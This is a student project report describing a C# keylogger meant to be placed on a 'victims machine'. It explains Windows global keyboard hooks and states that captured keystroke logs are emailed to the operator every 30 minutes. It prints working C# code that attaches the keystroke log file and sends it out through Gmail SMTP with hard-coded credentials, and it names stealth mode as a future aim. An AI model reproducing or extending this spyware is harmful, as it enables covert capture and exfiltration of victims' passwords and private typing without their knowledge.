Keylogger
Keylogger
As the result of special subject project No.2 of third semester we were given a task to write a
project.
Purpose of it was to find the common subject for each student or group of students, so that it
would be interesting for everybody to make it. We had the possibility to choose our theme
from given subjects or think about something our own, that would be related to what our
education is about.
I have thought about what I would like to work with and came up with the decision to make a
project in programming. I have also thought about doing it with somebody in a team but
unfortunately most of the class mates had chose what they want to put their hands on.
Table of contents
Introduction
Description
2
3
3
What is C#
What is keylogger
4
4
Key Capture
Code
Global hook
Main call
Mail
5
6
6
6
8
Conclusion
Introduction
Since I was concentrated on programming I got myself to get familiar with C#(Sharp)
programming language which is superior and in some way similar to Java.
It is also Object orientated.
C#(Sharp) is very popular on the Market and in a lot of companies they require or consider a big
plus o know this particular language.
I have never programmed in C#, therefore I thought It might be a good idea to start to learn it.
I have been thinking about the possible application that I could write and came up with a
decision to make a Key logger which would track all the events on the keyboard and save them
in a file.
Description
Functional requirements
The Key logger user has to put exe file on victims machine.
The user has to receive email in text files with logs every 30 min
The program wouldnt consume more than 8,000K Memory(Private Working Set)
What is C # ?
What is keylogger ?
A keylogger is a hardware device or a software program that records the real time activity of a
computer user including the keyboard keys they press.
Keyloggers are used in IT organizations to troubleshoot technical problems with computers and
business networks. Keyloggers can also be used by a family (or business) to monitor the network
usage of people without their direct knowledge. Finally, malicious individuals may use
keyloggers on public computers to steal passwords or credit card information.
Key capture
Event capturing is what makes Keylogger so unique . Key capturing carries very simple code if it
is performed within the application window. Unfortunately it is not so simple when we have to
capture events in all the system. For ex Internet browser, Skype, Word document and etc
Local capture is an action when events such as keyboard press or mouse movement is or any
other kind of input is captured within the application.
Global capture is an action when we are capturing such an events in the whole system and in
any application that we are currently on.
In order to perform global capture in C# we have to perform a Global Hook.
Global hook is a function you can create as part of a dll or your application to monitor the
'goings on' inside the windows operating system. The idea is to write a function that is called
every time a certain event in windows occurs - for example when a user presses a key on the
keyboard or moves the mouse.
What is DLL files ?
A dynamic link library (DLL) is a collection of small programs, which can be called upon when needed by
the executable program (EXE) that is running.
Code
Global Hook
First of all im creating the class GlobalKeyboardHook where I am importing needed DLL files
to Hook up the keyboard.
We are importing user32.dll which has hook functions and kernel.32.dll which has libraries that
we need to use in order to hook up the keyboard.
Main call
When application starts then we call predefined fuctions from GlobalKeyboardHook class to
start hooking up the keyboard.
Whenever Enter is pressed all the content from the list is appended to the text test.txt file.
Afterwards all the list values are deleted and it can be refilled with the new characters until we
press Enter again.
Mail
Every 30 min email is sent from the computer with keylogger to any wished email
In this example it is 15000 miliseconds which is 15 Seconds.
Thread.Sleep(15000);
try
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("[email protected]");
mail.To.Add("[email protected]");
mail.Subject = "Test Mail - 1";
mail.Body = "mail with attachment";
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("c:\\clever\\test.txt");
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new
System.Net.NetworkCredential("matrasas21", "password");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
MessageBox.Show("MailSent");
The only problem I am facing now is that I can not make program to run and send emails
simultaneously because I did not find out yet how to multithread. I can only run 1 thread at a
time now.
Conclusion
This special subject, open and showed me the wide possibilities of C# language. I started by
having absolute no idea how it functions, that made me to search for various tutorials and
explanations in order to solve and find answers for arisen questions. During the whole work I
could not find all the information that I wanted, this is why I started to test everything myself. I
have to admit it took some time but at the end I achieved nearly what I wanted. Perhaps I could
do much more with C# code and implement more stuff. But as for now I am glad that I touched
very basics of it. I believe I will continue to improve and learn much more stuff that is straightly
related to this amazing language.
The lesson that I learned is that documentation of the project is very important and therefore I
have to do better in documenting and presenting my work. I also have some stuff to improve
such as multithreading and make it work in stealth mode.